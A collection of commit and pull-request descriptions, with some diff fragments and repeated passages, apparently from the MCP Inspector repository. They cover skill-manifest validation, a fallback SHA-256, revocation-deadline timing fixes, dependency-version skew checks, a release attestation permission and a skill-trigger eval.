The client method and its tests existed but no production caller invoked it, so #2234's acceptance criterion ("skills/get retrieves a single entry") was unmet and a server author's required handler could not be exercised. The detail pane now fetches the selected URI on demand and reports whether the fetched entry AGREES with the one skills/list advertised — both describe the same skill, so a disagreement is a server bug only a side-by-side fetch shows. - core/mcp/sha256.ts: a dependency-free SHA-256, used when `crypto.subtle` is absent. `SubtleCrypto` needs a secure context, and this app is documented as servable over plain HTTP on a LAN IP — where every skill verification threw and the UI reported a read failure for files it had fetched fine. Checked against the FIPS 180-4 vectors and differentially against WebCrypto. - skills.ts: require the `skill:` scheme in `normalizeSkillUri`. Checking only that a URI was hierarchical let `https://demo/SKILL.md` pass the name and root checks — a manifest pointing anywhere on the web, reported as conforming. - skills.ts: `missing-digest` and `missing-size` are errors. Both are required fields, and an omitted `size` is what lets a server slip past the 16 MiB pre-fetch limit while the UI reports zero errors. `warning` is now reserved for what is legal yet unverifiable — `"dynamic"`. - SkillsScreen: key the "Verify all" batch guard to the manifest. A global flag left a newly selected skill's button disabled until the previous skill's reads settled — forever, if one hung. Not changed, deliberately: whether a modern-era `skills/list` result MUST carry the SEP-2549 caching attributes. #2234's analysis records it as open and the review asserts the opposite; neither reading was checked against the normative text. Leaving the schema permissive accepts a server that omits them, while tightening on a wrong reading would reject conforming responses — the more expensive direction. `skillsSchemas.ts` states this and #2248 settles it.

Renamed "Skills Extension Options" and rendered as a ✓/✗ row for `directoryRead`, in the same vocabulary as the capability columns, so it reads as the same kind of claim. - The extension sections' contents were bold (`ValueText`, the value half of a label/value pair) while sitting directly beneath the capability checklists, which are plain. They are lists of items, not values, so they now use the same `Text` the checklist rows do. - Those lists were comma-joined into one line, which wraps mid-identifier in a half-width column. One row per identifier. The `skills-directory-read` tests now assert `data-supported` rather than the copy: "Not supported" contains "Supported", so a text assertion passed for either answer.

Where the readings conflict I took the permissive one: a wrong tightening rejects conforming servers, a wrong loosening only fails to report something. - skills.ts: stop requiring the `skill:` scheme. SEP-2640 says a server SHOULD use `skill://` and explicitly allows a domain-native scheme, so round 4's requirement handed a conforming `github://…` skill a false `malformed-uri` and skipped its name and root checks. Containment is scheme-independent — it compares against THIS entry's own root — so the traversal fix that requirement came packaged with is unaffected. - skills.ts: the 512-entry and 16 MiB limits are warnings. Both are SHOULD NOTs for a server and MAYs for a host, so calling them errors contradicted the "error = a MUST was broken" contract round 4 established and told authors a permitted skill was invalid. - skills.ts: `skillEntriesMatch` compares canonically — keys sorted, manifest sorted by URI. `JSON.stringify` treated key order and manifest order as differences, though neither carries meaning. - SkillsScreen: a differing `skills/get` is "a different snapshot" (yellow), not a disagreement (red). The SEP defines it as a fresh point-in-time read, so a skill that changed since the listing legitimately differs. - useServerCommands: route `onGetSkill` through the command-scoped OAuth recovery like every other server command. An expired authorization rendered an error and stopped there — no reauthorization, no retry. - test-servers/skills.ts: stamp the modern base result envelope (`resultType` / `ttlMs` / `cacheScope`) on every skills result. The SDK stamps it only for methods in its own codec, and `skills/*` are consumer-owned, so a 2026-era connection was receiving results without it. Unconditional rather than per era: the modern leg builds a server per request, so there is no era to branch on at registration time, and on legacy they are three members no codec inspects. - composable-test-server: remove the `skills.directoryRead` option. It was publicly settable and advertised a method nothing serves, producing the exact false capability the fixture exists to help catch. `skills` is now a plain boolean; the flag returns in phase 3 (#2248) with its handler. Still not changed: whether a modern `skills/list` RESULT SCHEMA must require that envelope. Stamping it server-side is free; requiring it client-side would reject servers on a reading nobody has checked against the normative text. #2248 owns settling it.

Only the entry's OWN manifest is a set; `frontmatter` is verbatim arbitrary JSON, so a custom `frontmatter.metadata.resources` array was being sorted too and two genuinely different frontmatters compared equal. The manifest sort is now done once, at the top level, and every other array keeps its order. - SkillsScreen: invalidate on the whole selected entry, not just its manifest. The `skills/get` comparison covers `frontmatter`, so a refresh that changed only a description left a stale "matches skills/list" verdict on screen — computed against an entry that no longer existed. Re-verifying after a metadata-only refresh is the cheap direction to be wrong in; showing a match against a different entry is not. - SkillsScreen: give each "Verify all" invocation a token, so a finalizer can only ever clear its own batch rather than any batch with a matching manifest key. - SkillsScreen.stories: supply `onGetSkill`. Every story rendered the "Fetch with skills/get" button, and clicking it threw. On the batch token: the A → B → A sequence the review describes is not actually reachable, because the button is disabled whenever the in-flight batch's key matches the selection — returning to A finds it disabled, not clickable. The token is defence in depth for the same property, and the test asserts what is really guaranteed rather than the unreachable path.

Declared locally rather than imported from `core/mcp/skillsSchemas.ts`: a fixture validated against the client's own schema could never catch the client being wrong. One correction to the review's premise on that second point: the SDK does NOT require `{ params, result }`, and supplying `result` does not validate the response. Its own doc on `RequestHandlerSchemas` says `result` is optional and "no runtime validation is performed on the result" — it types the handler's return value. The change is worth making for that compile-time check; it does not do what was claimed.

When more did, the debounce landed first, `canAdd` went false, and the click hit a disabled button — a no-op that sets no submit error, so the `findByText(/Fix the validation errors/)` timed out. The first assertion (`onAddServer` not called) still passed, which is why the failure read as mysterious rather than as a disabled button. Run the test on fake timers end to end instead. The first validation is landed explicitly with `advanceTimersByTimeAsync(VALIDATE_DEBOUNCE_MS)` — imported from the hook, so the test cannot drift from the value it depends on — and after the second paste the timers are simply not advanced. The pending re-validation therefore cannot land at all, the window stays open by construction, and the final assertion becomes a synchronous `getByText`. Verified with a throwaway probe holding both shapes side by side with a deterministic 400ms stall injected between the paste and the click: the old shape fails exactly as reported, the new one passes. No timeout was widened and no production code changed.

Both halves of that are noise-sensitive: the deadline is enforced by a `setTimeout`, and a wall clock at millisecond resolution can still read a hair short of it when the loop comes round, so the next grant inherits a fractional budget and spends it on a request that cannot possibly complete. The same run then issues one request or two depending on scheduling — which is what makes the "shares one deadline across grants" test intermittent on CI (#2252). Measure the deadline with `performance.now()` (monotonic, so an NTP step or a suspend cannot expire or extend the budget, and sub-millisecond, so none is lost to rounding), and skip any grant reaching the loop with less than MIN_REVOCATION_REQUEST_BUDGET_MS left. The skipped grant is already reported as `failed`, so nothing is silently dropped — the needless call to the authorization server is. The CLI's outer per-plan budget in `sendPlans` shares both the shape and the defect, so it gets the same treatment. One consequence worth naming: a monotonic clock hands `revokeToken` a fractional budget, and Node's `AbortSignal.timeout` throws `ERR_OUT_OF_RANGE` on a non-integer delay — before the fetch, so the request would never be sent and the revocation would report that as its failure. `revokeToken` now rounds its own budget to whole milliseconds, which also covers any other caller passing a fractional one. Tests: the epsilon skip is pinned by a grant that lands inside the floor but above zero (removing the floor fails it, verified); the fractional budget by a `revokeToken` call at 19.996ms.

Each measured the sub-floor remainder against the real clock, so a preempted worker overshoots the deadline, the remainder goes negative, and the unfixed `remainingMs <= 0` bound takes the same branch and prints the same message — the test passes on an implementation with no floor. It could never fail wrongly, but it could silently stop testing anything, which on a flake fix is the wrong half of that guarantee to keep. Both now stub `performance.now()`: the web case advances it inside the fetch so the second grant's remainder is exactly MIN_REVOCATION_REQUEST_BUDGET_MS - 1, and the CLI case freezes it so the remainder at the check is the budget itself. Positive and under the floor on every machine, which is the only state that separates the two bounds.

So the era-aware validation is in. - skillsSchemas: `ModernListSkillsResultSchema` = the page plus the base list envelope, with field shapes mirroring `ModernResultEnvelopeSchema` in `listSalvage.ts` so this repo's two statements of a modern envelope cannot drift. `InspectorClient.listSkills` picks it from the negotiated era; the legacy shape stays permissive, because those are 2026-era attributes a legacy server has no business sending. Nothing else catches this: `skills/*` is consumer-owned, so it is absent from the SDK's cacheable-method registry and a modern server answering `{ skills: [] }` was reaching the conformance UI as a clean list. - skills.ts: count `frontmatter.description` (and `name`) length in Unicode CODE POINTS. `String.length` counts UTF-16 code units, so 600 non-BMP characters measured as 1200 and a perfectly valid description was reported `malformed-description` — a conforming server failed by an off-by-encoding, which is the direction this module works hardest to avoid. The Agent Skills reference validator uses Python `len()`. - #2248 narrowed: the `skills/list` half is settled here; what remains is whether `skills/get` carries the same attributes.

SEP-2133 declares an extension as an object of sub-options, so a primitive is not one — now rejected, matching `appElicitation.ts`. - The `onGetSkill` prop doc claimed the two responses "must agree" and that a difference means a broken server, contradicting the implementation, which reports a difference as a finding rather than a fault. Reworded to what the code does. - No real-transport test exercised the fixture's `skills/*` handlers. Added `src/test/integration/mcp/inspectorClient-skills.test.ts`, parameterized over both protocol eras: capability advertisement, the paged `skills/list` walk (direct and through `ManagedSkillsState`), `skills/get`, the `-32602` for an unknown URI, `resources/read` of a skill file, and delegation of an ordinary resource through the fixture's `resources/read` wrapper.

The absent case was worse: it hardcoded the sentinel "default", which a server is free to send as a genuine string token. The id now carries the token's type (`progress-n:7` / `progress-s:7`) and gives the no-token case a prefix of its own (`progress-none`) that no token value can produce. 2. `newAttemptId`'s fallback now prefers `crypto.getRandomValues`. `randomUUID` needs a secure context; `getRandomValues` does not and exists in every browser that has `crypto` at all — so the exact situation the fallback exists for (a `file://` page, a plain-HTTP non-loopback host) still has a CSPRNG on hand. `Math.random` stays as the last resort for a `crypto`-less global, and the "never a security token" comment stays too. Retires CodeQL alert 72 (`js/insecure-randomness`) honestly rather than by dismissing it. Tests: collision cases for 7 vs "7" and the absent token vs "default" / "none", a distinctness sweep over the whole id space; and the attempt-id fallback test split into a getRandomValues arm (asserting the CSPRNG is used and `Math.random` is not) and a no-crypto-at-all arm.

Neither client declares it — #2196 consolidated it to the root — so the cli copy arrived transitively via `@types/express` and was constrained by no range of ours. `verify:dep-lockstep` reported OK and was right to: it compares only packages that reach one `tsc` **program** from two installs, and no one program sees both copies. Fixes the instance and the class, which the issue notes are not exclusive. **The class.** The guard grows a second tier alongside the program-derived one, asking the weaker but broader question `AGENTS.md`'s "one version per install-crossing dependency" rule actually states: does a package this repo declares anywhere resolve to two versions across our installs at all? The candidate set is every name in any install's `dependencies`/`devDependencies` that more than one install holds a **top-level** copy of — 17 packages today. Nested copies are excluded: one exists because some dependency asked for a different version, so it is that dependency's range, not ours. Neither tier subsumes the other. The program tier sees a copy no manifest names (the `@modelcontextprotocol/sdk` case, arriving through another package's `.d.ts`). The declared tier sees a transitive copy no program loads (this issue), two *clients* disagreeing with no root copy involved (`@types/react`, web against tui), and the peer shadows `AGENTS.md` calls out as ungated — `eslint`, `typescript`, `vitest`. Deny-by-default, with its own empty `TOLERATED_DECLARED_SKEW` and the same within-a-major rule, now stated once in a shared `toleratesSkew` so the two tiers cannot drift. **The instance, and three others the new tier surfaced.** All four were patch-level: - `@types/node` — cli 24.13.1 vs root 24.13.3. Transitive, so it takes an `overrides` entry in `clients/cli` (the repo's sanctioned lever for a transitive pin), at the root's own `^24.12.4` rather than a frozen number. - `@types/react` — web 19.2.18 vs tui 19.2.17. - `react` — web 19.2.8 vs root/tui 19.2.7. - `@vitejs/plugin-react` — web 6.0.5 vs root 6.0.2. The last three are `npm update` in the stale install: it moves the lockfile within the declared range without widening a range, which matters for the root `react ^19.0.0` that `ink`'s externalized-bundle exemption depends on. No declaration or range changed. Tests: 4 end-to-end cases (the fixture gains manifest deps and a client-side `solo` install, so the skew is real and no program holds both copies) and 13 helper cases.

Anything `core/` imports at runtime must be a root **`dependency`** — the client builds externalize npm packages and a published install resolves them from the root manifest, where devDependencies are absent. - **The shared toolchain is declared once, at the repo root, and in no client manifest.** `eslint`, `@eslint/js`, `typescript-eslint`, `globals`, `prettier`, `typescript`, `vitest`, `@vitest/coverage-v8` and `@types/node` are used by every client's own scripts, and a client that declares none of them still resolves the root copy by walk-up — `npm run` puts each ancestor `node_modules/.bin` on `PATH`, and Node and TypeScript walk parent `node_modules` / `node_modules/@types` the same way. `clients/launcher` declares no `devDependencies` at all and its `validate` is unchanged. A client-side declaration buys nothing and installs a second copy free to drift, as `globals` (`^17.7.0` root / `^17.4.0` clients) and `typescript-eslint` (`^8.65.0` / `^8.56.1`) had before #2196. These stay **`devDependencies`** — none is consumed at runtime and the tarball ships only each client's `build/`. The boundary is **used by every client**, not "used by one": anything narrower stays where it is, whether one client declares it (`tsx`, `playwright`, `storybook`, `happy-dom`, `ink-testing-library`, `vite-node`, each client's own `@types/*`) or several do — `tsup` is declared in web, cli and tui, and `vite` in web and tui on top of the root **runtime** `dependency` that `--web --dev` needs. Those are out of scope here; consolidating them is a different call with a different rationale. - - ⚠️ **Deleting the declaration does not always delete the copy, and the local copy still wins.** npm auto-installs an unmet **peer** into the install that needs it, and it has no visibility into the root's tree — so a client-only ESLint plugin drags a client-local `eslint` in (`eslint-plugin-react-refresh`/`-storybook` in web, `eslint-plugin-react-hooks` in tui), and web's Storybook/Vitest stack drags in a local `typescript` and `vitest`. A hoisted transitive does the same: `@types/express` puts an `@types/node` in web and cli. Those copies sit *nearer* than the root's and take precedence. The consolidation is therefore about **one declaration and one place to bump**, not about a single copy on disk. ⚠️ **Nothing keeps the surviving copies aligned, and nothing gates them.** A **peer** copy is at least constrained by its holder's peer range — tightly for `vitest` (an exact peer, hence the pin below), loosely for `eslint` (`^9 || ^10`), where the copies agree only because npm resolves the same latest in both installs. A **transitive** copy is constrained by nothing of ours at all, and cli's `@types/node` (`24.13.1` against the root's `24.13.3`) has already diverged on exactly that. `verify:dep-lockstep` does not catch either: it compares only packages that one `tsc` **program** loads from two installs, so a stray `eslint`, `prettier` or `vitest` binary is outside its candidate set entirely, and the cli `@types/node` difference goes unreported because no one program sees both copies. Check a tool copy by hand — `npm exec -- which eslint` from the client — when you change what a client declares. + - ⚠️ **Deleting the declaration does not always delete the copy, and the local copy still wins.** npm auto-installs an unmet **peer** into the install that needs it, and it has no visibility into the root's tree — so a client-only ESLint plugin drags a client-local `eslint` in (`eslint-plugin-react-refresh`/`-storybook` in web, `eslint-plugin-react-hooks` in tui), and web's Storybook/Vitest stack drags in a local `typescript` and `vitest`.

A **transitive** copy is constrained by nothing of ours at all, and cli's `@types/node` (`24.13.1` against the root's `24.13.3`) diverged on exactly that. **Since #2226 `verify:dep-lockstep` does catch this class** — its second tier compares every package any install *declares* against every top-level copy across all five installs, independent of what a `tsc` program loads, so a transitive drift and a peer shadow (`eslint`, `typescript`, `vitest`) are both in scope now. Two limits remain: the tier reads lockfiles, so a tool binary you installed by hand and never committed is still invisible; and it only compares names some manifest declares, so a purely transitive package no manifest names is out of scope in both tiers unless a `tsc` program loads both copies. Aligning a stale install is `npm update ` there; a transitive copy that will not move takes an `overrides` entry in that install (`clients/cli` pins `@types/node` this way). - ⚠️ **`vitest`, `@vitest/coverage-v8` and web's `@vitest/browser-playwright` are pinned exactly, and move together.** `@vitest/browser-playwright` declares an **exact** peer on `vitest`, so it — not the root range — decides which `vitest` web installs. Left to float, the root resolves a newer patch and web's tests then run on one `vitest` while loading a coverage provider built against another. Bumping means editing all three in one change, the same discipline the exact `prettier` pin (#1790) exists for. - **A root-declared package that `core/` imports at runtime must also be named in all three bundler `external` lists** (`clients/{cli,tui}/tsup.config.ts`, `clients/web/tsup.runner.config.ts`), since which client reaches it is a function of what `core/` imports rather than of what the client's own code names. `npm run verify:bundle-externals` enforces this against the **built output**. - **A dependency that renders React components must be bundled** into the client that uses it (`noExternal`) and declared only there — an externalized one resolves its own `react` and splits the tree. `ink` is the single exemption, on cost, and it is only safe while the root `react` range stays open to the whole major (`^19.0.0`). -- **One version per install-crossing dependency.** When bumping a dependency the shared sources pull in, bump it in every install that declares it. Consolidating to the root is what makes most of these unbumpable in two places at once, but it does not retire the rule — a client's `devDependencies`, and any package that arrives transitively into a client install, can still skew against the root. Never raise the tsc heap to work around one. `npm run verify:dep-lockstep` enforces this. +- **One version per install-crossing dependency.** When bumping a dependency the shared sources pull in, bump it in every install that declares it.

Never raise the tsc heap to work around one. `npm run verify:dep-lockstep` enforces this in two tiers: packages that reach one `tsc` **program** from two installs (the #1896 heap-exhaustion class), and — since #2226 — every package any install **declares** that more than one install holds a top-level copy of, whether or not a program ever sees both. -

charset=UTF-8 Content-Transfer-Encoding: 8bit The `publish-github-container-registry` job's attestation step emitted two warning annotations on every release — the only annotations on an otherwise green release run: Failed to create storage record: Error: Failed to persist storage record: no artifacts found Please check that the "artifact-metadata:write" permission has been included The attestation itself was never affected: it signed, uploaded to Rekor, to the repository and to the registry, and `gh attestation verify` passes against the published 2.5.0 image. What was not landing is the separate artifact metadata *storage record* — GitHub's org-level index of where a published artifact lives. Both of the issue's open questions are now answered: 1. `artifact-metadata` is a documented `permissions:` key (read/write/none), so the workflow parses. Pushing this branch runs CI and validates that. 2. The `no artifacts found` text does NOT mean this job uploaded no *workflow* artifact. It is the generic 404 body of the org artifact-metadata REST API that `@actions/attest` POSTs to (`createStorageRecord`); the sibling read endpoint returns the identical message for 2.5.0's real digest and for an all-zeros digest that cannot exist. The documented precondition actually unmet is this permission: the action emits a storage record when `push-to-registry` is true AND the workflow carries `artifact-metadata: write`, and the repo is org-owned as the API requires. Confirmation that the record lands can only come from a release run, so the step also carries a comment recording the evidence and the exact post-release check — and what to do instead (`create-storage-record: false` plus a note) if the warning survives. Either branch satisfies the issue's acceptance criterion rather than leaving an unexplained warning in the release channel.

Rewrite it as an action with a trigger ("load the `test-servers` skill now — that is step one"), enumerate the situations that qualify, and repeat the pointer at the two later points where the run actually decides it is writing an integration test: the `integration` project bullet under "Where the test file goes", and the tier list. The top of a body is read before the model knows it needs the second skill, so a pointer that lives only there has already been scrolled past by the time it matters. Measured at RUNS=5 on the full suite: the two hand-off cases go to 100% / 80% (100% / 100% on a focused `-- test-servers` run), and all 63 first-move cases stay at 100% — no displacement, as expected, since neither description changed. Also update the two places that recorded the old number as the standing state: the worked example in `docs/skill-authoring.md`, and the `CHAIN_THRESHOLD` rationale in `scripts/skill-eval.mjs`, which cites the 33% measurement as the reason the bar is 0.5 rather than 0.8. The bar is unchanged — a reshaped pointer raises the ceiling those two cases reach, not the floor a new hand-off case should be judged against.

CodeQL's `js/insecure-randomness` browser model recognizes a secure RNG by that literal method call, so the indirection would have left the `Math.random` last resort classified as an unmitigated source. - The no-crypto test arm now removes `globalThis.crypto` entirely instead of hiding its two methods, matching the crypto-absence test in `src/test/core/auth/utils.test.ts`. Hiding only the methods left the global truthy, so the arm could not have caught a regression that read `globalThis.crypto` without the optional guard. `withoutCryptoMember` narrows to `randomUUID`, its only remaining caller.

Four more do the same: `mcp-app-flow.test.mjs` covers the shared MCP Apps flow (#2003) — the deep link's two CSRF gates and `appArgs` encoding, plus `driveAppFlow`'s failure branches against a stand-in page, all of which are dead code from the happy-path smokes' point of view and would otherwise surface only as opaque timeouts; `render-smoke.test.mjs` and `pty.test.mjs` cover the TUI boot harness ([#2147](https://github.com/modelcontextprotocol/inspector/issues/2147)) — the former driving real `node -e` stubs to prove that a child which paints the marker and *then* dies is a **failure**, which the old harness reported as OK and which no fixed TUI can reproduce; the latter pinning the three mutually-incompatible `script(1)` invocations, where a wrong guess stops the pseudoterminal from being allocated at all; and `ensure-test-servers.test.mjs` pins the [#2111](https://github.com/modelcontextprotocol/inspector/issues/2111) invariant — that `test-servers/build` is rebuilt **even when it already exists** — which no smoke can assert about itself, since one driving a stale fixture reports a product failure rather than a staleness one. `workflow-gate.test.mjs` is a different shape again ([#2146](https://github.com/modelcontextprotocol/inspector/issues/2146)): besides the table of parser cases it runs the parser over the repo's real `.github/workflows/**`, so a workflow that invokes the local-only gate or a non-Chromium engine pass fails here rather than in a CI run nobody expected to be red. Five more arrive with the skills (#2163). `skill-manifest.test.mjs` pins the frontmatter contract one case per rule — most importantly that a fence which is not a whole line is not a terminator, and that malformed YAML is an error rather than an empty description. `verify-skills.main.test.mjs` drives that guard's `main()` over fixture directories, the sibling guards' `*.main.test.mjs` pattern, so it cannot stop enforcing while the parser tests stay green. `skill-eval.test.mjs` covers the trigger eval's stream parsing and its run classification, which an eval run's happy path never reaches and which would otherwise report a plausible hit rate for a CLI that failed to run. `verify-skills-cli.test.mjs` covers which validator gets run — a local CLI only at the exact pin — and the orchestration around it, neither of which an ordinary run on a working machine exercises. `claude-cli.test.mjs` covers the one place that decides how the CLI is spawned — the Windows `.cmd` shim needs a shell, and its arguments then need quoting — with the platform **injected**, since a win32-only bug that no runner here executes is exactly the kind that ships. Runs in `validate` — and `verify:typecheck-coverage` guards *this* gate in turn (reachable from `validate`, non-empty test set, every test file matched by the `test:scripts` glob), since `node --test` silently skips a file its glob misses and still exits 0. | | `npm run verify:typecheck-coverage` | The typecheck-coverage analog of the above (#1791): for each Node client (auto-discovered from disk — enrolled via its `typecheck` script's projects, or for a `tsc -b` client like `clients/web` via its `tsconfig.json` `references`) it runs those projects with `tsc --listFilesOnly`, unions them, and **fails** listing any tracked `.ts`/`.tsx`/`.mts`/`.cts` under the client that lands in no project (so a new top-level config/helper can't silently go untypechecked). It also requires, deny-by-default, the first-party TS no client owns (`test-servers/src`, the root `vitest.shared.mts`, all of `core/`, and any new top-level location) to land in some client project's tsc pass — so a `core` `*.tsx` web's projects don't reach is caught too.

Its candidate set is every name in any install's `dependencies`/`devDependencies`/`optionalDependencies` — unioned across the root and all four clients, so a copy declared by only one of them still counts — that **more than one install holds a top-level copy of** (17 packages today). Nested copies are excluded: one exists because some dependency asked for a different version, so it is that dependency's range to govern, not ours. Neither tier subsumes the other — the program tier sees a copy no manifest names (`@modelcontextprotocol/sdk`, arriving through another package's `.d.ts`), while the declared tier sees a **transitive** copy no program loads (cli's `@types/node`, hoisted via `@types/express` — the case that motivated it), two **clients** disagreeing with no root copy involved (`@types/react`, web against tui), and the peer shadows `eslint`/`typescript`/`vitest` that never enter a program. Same deny-by-default and same within-a-major rule, against its own `TOLERATED_DECLARED_SKEW` — also empty. Two limits: it reads **lockfiles**, so an uncommitted hand-installed copy is invisible, and it compares only declared names, so a purely transitive package no manifest names stays the first tier's business. + +Runs in `validate`. | `npm run local:gate` | **Mandatory pre-push command.** `validate` → `verify:skills:cli` → `coverage` → `verify:build-gate` → `verify:bundle-externals` → `smoke` → `smoke:web:firefox` → `local:storybook`.

The trigger was over-broad. "a smoke" and "everything from web integration rightwards" routed work to `test-servers` that needs no fixture at all: `smoke:launcher` only checks `--help`, `smoke:web` asserts the SPA is served, `smoke:web:browser` stops at first paint, and Storybook play functions render from fixture props. The condition is now "does this exercise MCP behaviour over a transport?", stated as such, with both sides named — the smokes that connect (`smoke:cli`, `smoke:web:app`, `smoke:web:elicit`, `smoke:web:tabs`) and `pack:verify` on one side, the boot-only ones and Storybook on the other. Depth in the tier list is explicitly not the boundary. 2. The threshold rationale contradicted the new result. It said an 0.8 bar would mark a hand-off red "regardless of how strongly the first skill points at the second" — which the 100% measurement refutes. Both copies (docs and `skill-eval.mjs`) now say what 0.5 actually buys: a floor on useful reliability for a noisier second-hop load, so the column still separates an adequate pointer from a broken one. The value is unchanged. Re-measured after the narrowing, since a tighter trigger could have weakened the pointer: 100% / 100% on the hand-off and 63/63 first-move at 100%, full suite at RUNS=5. Recorded figure updated from the intermediate 100% / 80%.

Anything `core/` imports at runtime must be a root **`dependency`** — the client builds externalize npm packages and a published install resolves them from the root manifest, where devDependencies are absent. - **The shared toolchain is declared once, at the repo root, and in no client manifest.** `eslint`, `@eslint/js`, `typescript-eslint`, `globals`, `prettier`, `typescript`, `vitest`, `@vitest/coverage-v8` and `@types/node` are used by every client's own scripts, and a client that declares none of them still resolves the root copy by walk-up — `npm run` puts each ancestor `node_modules/.bin` on `PATH`, and Node and TypeScript walk parent `node_modules` / `node_modules/@types` the same way. `clients/launcher` declares no `devDependencies` at all and its `validate` is unchanged. A client-side declaration buys nothing and installs a second copy free to drift, as `globals` (`^17.7.0` root / `^17.4.0` clients) and `typescript-eslint` (`^8.65.0` / `^8.56.1`) had before #2196. These stay **`devDependencies`** — none is consumed at runtime and the tarball ships only each client's `build/`. The boundary is **used by every client**, not "used by one": anything narrower stays where it is, whether one client declares it (`tsx`, `playwright`, `storybook`, `happy-dom`, `ink-testing-library`, `vite-node`, each client's own `@types/*`) or several do — `tsup` is declared in web, cli and tui, and `vite` in web and tui on top of the root **runtime** `dependency` that `--web --dev` needs. Those are out of scope here; consolidating them is a different call with a different rationale. - - ⚠️ **Deleting the declaration does not always delete the copy, and the local copy still wins.** npm auto-installs an unmet **peer** into the install that needs it, and it has no visibility into the root's tree — so a client-only ESLint plugin drags a client-local `eslint` in (`eslint-plugin-react-refresh`/`-storybook` in web, `eslint-plugin-react-hooks` in tui), and web's Storybook/Vitest stack drags in a local `typescript` and `vitest`.

Two limits remain: the tier reads lockfiles, so a tool binary you installed by hand and never committed is still invisible; and it only compares names some manifest declares, so a purely transitive package no manifest names is out of scope in both tiers unless a `tsc` program loads both copies.

Two limits remain: the tier reads lockfiles, so a tool binary you installed by hand and never committed is still invisible; and it only compares names some manifest declares, so a purely transitive package no manifest names is out of scope in both tiers unless a `tsc` program loads both copies. Aligning a stale install is `npm update ` there; a transitive copy that will not move takes an `overrides` entry in that install (`clients/cli` pins `@types/node` this way). - ⚠️ **`vitest`, `@vitest/coverage-v8` and web's `@vitest/browser-playwright` are pinned exactly, and move together.** `@vitest/browser-playwright` declares an **exact** peer on `vitest`, so it — not the root range — decides which `vitest` web installs. Left to float, the root resolves a newer patch and web's tests then run on one `vitest` while loading a coverage provider built against another. Bumping means editing all three in one change, the same discipline the exact `prettier` pin (#1790) exists for. - **A root-declared package that `core/` imports at runtime must also be named in all three bundler `external` lists** (`clients/{cli,tui}/tsup.config.ts`, `clients/web/tsup.runner.config.ts`), since which client reaches it is a function of what `core/` imports rather than of what the client's own code names. `npm run verify:bundle-externals` enforces this against the **built output**. - **A dependency that renders React components must be bundled** into the client that uses it (`noExternal`) and declared only there — an externalized one resolves its own `react` and splits the tree. `ink` is the single exemption, on cost, and it is only safe while the root `react` range stays open to the whole major (`^19.0.0`). diff --git a/docs/quality-gate.md b/docs/quality-gate.md index bfea1f64b..08d25b367 100644 --- a/docs/quality-gate.md +++ b/docs/quality-gate.md @@ -39,11 +39,7 @@ That is the readable half, and prose rots.

Four more do the same: `mcp-app-flow.test.mjs` covers the shared MCP Apps flow (#2003) — the deep link's two CSRF gates and `appArgs` encoding, plus `driveAppFlow`'s failure branches against a stand-in page, all of which are dead code from the happy-path smokes' point of view and would otherwise surface only as opaque timeouts; `render-smoke.test.mjs` and `pty.test.mjs` cover the TUI boot harness ([#2147](https://github.com/modelcontextprotocol/inspector/issues/2147)) — the former driving real `node -e` stubs to prove that a child which paints the marker and *then* dies is a **failure**, which the old harness reported as OK and which no fixed TUI can reproduce; the latter pinning the three mutually-incompatible `script(1)` invocations, where a wrong guess stops the pseudoterminal from being allocated at all; and `ensure-test-servers.test.mjs` pins the [#2111](https://github.com/modelcontextprotocol/inspector/issues/2111) invariant — that `test-servers/build` is rebuilt **even when it already exists** — which no smoke can assert about itself, since one driving a stale fixture reports a product failure rather than a staleness one. `workflow-gate.test.mjs` is a different shape again ([#2146](https://github.com/modelcontextprotocol/inspector/issues/2146)): besides the table of parser cases it runs the parser over the repo's real `.github/workflows/**`, so a workflow that invokes the local-only gate or a non-Chromium engine pass fails here rather than in a CI run nobody expected to be red. Five more arrive with the skills (#2163). `skill-manifest.test.mjs` pins the frontmatter contract one case per rule — most importantly that a fence which is not a whole line is not a terminator, and that malformed YAML is an error rather than an empty description. `verify-skills.main.test.mjs` drives that guard's `main()` over fixture directories, the sibling guards' `*.main.test.mjs` pattern, so it cannot stop enforcing while the parser tests stay green. `skill-eval.test.mjs` covers the trigger eval's stream parsing and its run classification, which an eval run's happy path never reaches and which would otherwise report a plausible hit rate for a CLI that failed to run. `verify-skills-cli.test.mjs` covers which validator gets run — a local CLI only at the exact pin — and the orchestration around it, neither of which an ordinary run on a working machine exercises. `claude-cli.test.mjs` covers the one place that decides how the CLI is spawned — the Windows `.cmd` shim needs a shell, and its arguments then need quoting — with the platform **injected**, since a win32-only bug that no runner here executes is exactly the kind that ships. Runs in `validate` — and `verify:typecheck-coverage` guards *this* gate in turn (reachable from `validate`, non-empty test set, every test file matched by the `test:scripts` glob), since `node --test` silently skips a file its glob misses and still exits 0. | | `npm run verify:typecheck-coverage` | The typecheck-coverage analog of the above (#1791): for each Node client (auto-discovered from disk — enrolled via its `typecheck` script's projects, or for a `tsc -b` client like `clients/web` via its `tsconfig.json` `references`) it runs those projects with `tsc --listFilesOnly`, unions them, and **fails** listing any tracked `.ts`/`.tsx`/`.mts`/`.cts` under the client that lands in no project (so a new top-level config/helper can't silently go untypechecked). It also requires, deny-by-default, the first-party TS no client owns (`test-servers/src`, the root `vitest.shared.mts`, all of `core/`, and any new top-level location) to land in some client project's tsc pass — so a `core` `*.tsx` web's projects don't reach is caught too.

Round 1 replaced "a smoke" with a transport condition but left "an integration test" unqualified, and left the tier note treating web integration as wholly fixture-dependent. It is not: **29 of the 74 files in `src/test/integration/` reference a server at all.** `storage/store-id.test.ts` validates a string; `mcp/import/*` parses config files. They sit there for the node env and the 30s timeout — placement is the project manifest, which is exactly why it cannot also be the fixture trigger. All four sites now say "an integration test **that connects**" and name the counter-examples, including the folder-is-not-the-trigger point at the `integration` bullet itself, and the tier ⚠️ now states that the boundary cuts *across* the tiers rather than along them. 2. Replacing the worked example orphaned the warning after it: "the two runs above straddle a 67-point swing … with no change to the pointer" had nothing left to refer to, since the 33%/33% and 100%/33% pair it names was gone and the runs on show differed by 20 points across a pointer rewrite. The weak-pointer pair is restored as its own paragraph, the warning names both figures explicitly, and the 20-point intermediate is now framed as RUNS=5 residual noise — contrasted with the 67, rather than standing in for it. Re-measured, since "that connects" narrows the phrasing the two chain prompts have to match: 100% / 100% hand-off, 63/63 first-move at 100%, full suite at RUNS=5. Unchanged from round 1.

